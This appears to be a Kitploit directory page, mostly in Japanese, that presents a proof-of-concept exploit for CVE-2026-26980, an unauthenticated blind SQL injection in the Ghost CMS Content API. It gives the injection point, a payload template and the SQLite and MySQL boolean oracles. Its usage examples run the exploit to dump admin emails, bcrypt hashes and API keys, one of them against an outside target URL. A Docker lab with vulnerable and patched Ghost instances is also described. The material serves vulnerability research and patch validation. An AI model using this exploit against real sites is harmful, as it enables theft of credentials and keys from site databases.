Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-26980-PoC — Ghost CMS Content API ブラインドSQLインジェクション | Kitploit
ツール/GitHubGitHub/n0bitaemon/cve-2026-26980-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテストデータベースセキュリティラボと実践
GitHubn0bitaemon/cve-2026-26980-poc

CVE-2026-26980-PoC

Ghost CMS Content API ブラインドSQLインジェクション

リポジトリを見る
132ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-26980 — Ghost CMS Content API ブラインドSQLインジェクション

影響を受けるバージョン: Ghost 3.24.0 – 6.19.0
修正バージョン: Ghost 6.19.1
必要な認証: なし — Content API キーは公開
影響: データベース全体の未認証読み取り (認証情報、API キー)


脆弱性

slug-filter-order.js は、ユーザー指定のスラッグ値をパラメータ化されたバインドを使用せずに、生の SQL ORDER BY 句に直接展開します。

root@kitploit:~
// VULNERABLE — Ghost < 6.19.1
const slugList = slugs.map(s => `'${s}'`).join(',');
return `CASE WHEN ${table}.slug IN (${slugList}) THEN FIELD(...) ELSE ... END ASC`;
//                                  ^^^^^^^^^^^ raw string interpolation

// FIXED — Ghost 6.19.1
knex.orderByRaw('CASE WHEN slug = ? THEN 0 ELSE 1 END', [slugValue]);

インジェクション箇所:

root@kitploit:~
GET /ghost/api/content/posts/?key=<content_api_key>&filter=slug:[<PAYLOAD>,<anchor>]

ペイロードテンプレート:

root@kitploit:~
slug:['||<SQL_EXPR>||',<anchor-slug>]

オラクル

注入された式は、エラーベースのブールオラクルとして機能します。

エンジンTRUEFALSE
SQLitehex(randomblob(10^15)) → OOM → HTTP 500ELSE 0 → HTTP 200
MySQLTHEN 0 → HTTP 200EXP(710) オーバーフロー → HTTP 500

NQL 制約 — ブラケット内の SQL 式には、シングルクォート (') やカンマ (,) を含めることはできません:

問題SQLite の解決策MySQL の解決策
文字列リテラル 'content'CHAR(99)||CHAR(111)||...0x636F6E74656E74
N 番目の文字プレフィックスベースの文字列比較ASCII(SUBSTR(x FROM N FOR 1))

|| は SQLite では文字列連結、MySQL では論理 OR です — 文字列リテラルはエンジンごとに異なる方法でエンコードする必要があります。


使用方法

root@kitploit:~
python3 exploit/exploit.py --url URL --key KEY [--slug SLUG] [data flags] [options]

Required:
  --url URL       Ghost base URL (e.g. http://localhost:2368)
  --key KEY       Content API key

Optional:
  --slug SLUG     Anchor slug (auto-discovered from API if omitted)
  --dbms {auto,sqlite,mysql}   DB engine (default: auto-detect)
  --delay N       Seconds between requests — use to avoid HTTP 429 (default: 0)
  --proxy URL     HTTP proxy (e.g. http://127.0.0.1:8080) (default: none)
  --validate-fix  Test if the target is patched, then exit

Data flags (at least one required):
  --email         User email(s)
  --hash          User bcrypt hash(es)
  --content-key   Content API key(s)
  --admin-key     Admin API key(s)
  --all           Shorthand for --email --hash --content-key --admin-key

Modifier:
  --all-records   Extract ALL records for the selected flag(s) instead of first only

例

root@kitploit:~
# Extract first admin email + hash (no proxy)
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --email --hash --no-proxy

# Extract everything, first record each
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --no-proxy

# Extract all Content API keys
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --content-key --all-records

# Extract ALL records of ALL data types
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --all-records

# Route through Burp proxy
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --proxy http://127.0.0.1:8080

# Force MySQL engine, add delay to avoid rate limiting
python3 exploit/exploit.py \
  --url http://target.com \
  --key <content_api_key> \
  --all --dbms mysql --delay 0.5

# Verify the patched version is not exploitable
python3 exploit/exploit.py \
  --url http://localhost:2369 \
  --key <content_api_key> \
  --validate-fix

レート制限 (HTTP 429)

Ghost はデフォルトで Content API リクエストをレート制限します。オプション:

  1. --delay 0.5 を渡して、リクエスト間の遅延を追加する
  2. docker-compose 環境で API_RATE_LIMIT_ENABLED: "false" を設定し、再起動する

参照

  • Ghost セキュリティアドバイザリ: GHSA-w52v-v783-gw97
  • NVD: CVE-2026-26980
  • 修正差分: Ghost 6.18.0 → 6.19.1 の slug-filter-order.js

ラボのセットアップ

参考用です — すでに脆弱な Ghost インスタンスをお持ちの場合はスキップしてください。

要件

  • Docker + Docker Compose
  • Python 3.9+ と pip install requests

ディレクトリ構造

root@kitploit:~
ghost-cve-2026-26980/
├── mysql_docker-compose.yml    # Ghost + MySQL 8.0
├── sqlite_docker-compose.yml   # Ghost + SQLite (default)
├── mysql-init/
│   └── 01-init.sql             # creates ghost_patch DB, grants access
├── vulnerable/
│   └── Dockerfile              # Ghost 6.18.0
├── patched/
│   └── Dockerfile              # Ghost 6.19.1
└── exploit/
    └── exploit.py

両方の compose ファイルは以下を公開します:

  • http://localhost:2368 — 脆弱 (Ghost 6.18.0)
  • http://localhost:2369 — 修正済み (Ghost 6.19.1)

SQLite で起動

root@kitploit:~
docker compose -f sqlite_docker-compose.yml up -d

MySQL で起動

root@kitploit:~
docker compose -f mysql_docker-compose.yml up -d

MySQL 認証情報: host=localhost:3306 user=ghost password=ghostpass
データベース: ghost_vuln (ポート 2368) / ghost_patch (ポート 2369)

初回セットアップ

Ghost の初期化に約 60 秒待ってから:

  1. http://localhost:2368/ghost にアクセス — 管理者アカウントを作成し、少なくとも 1 件の投稿を公開する
  2. Ghost Admin → Settings → Integrations から Content API キー をコピーする

ラボのリセット

root@kitploit:~
# SQLite
docker compose -f sqlite_docker-compose.yml down -v
docker compose -f sqlite_docker-compose.yml up -d

# MySQL
docker compose -f mysql_docker-compose.yml down -v
docker compose -f mysql_docker-compose.yml up -d
ツールをダウンロード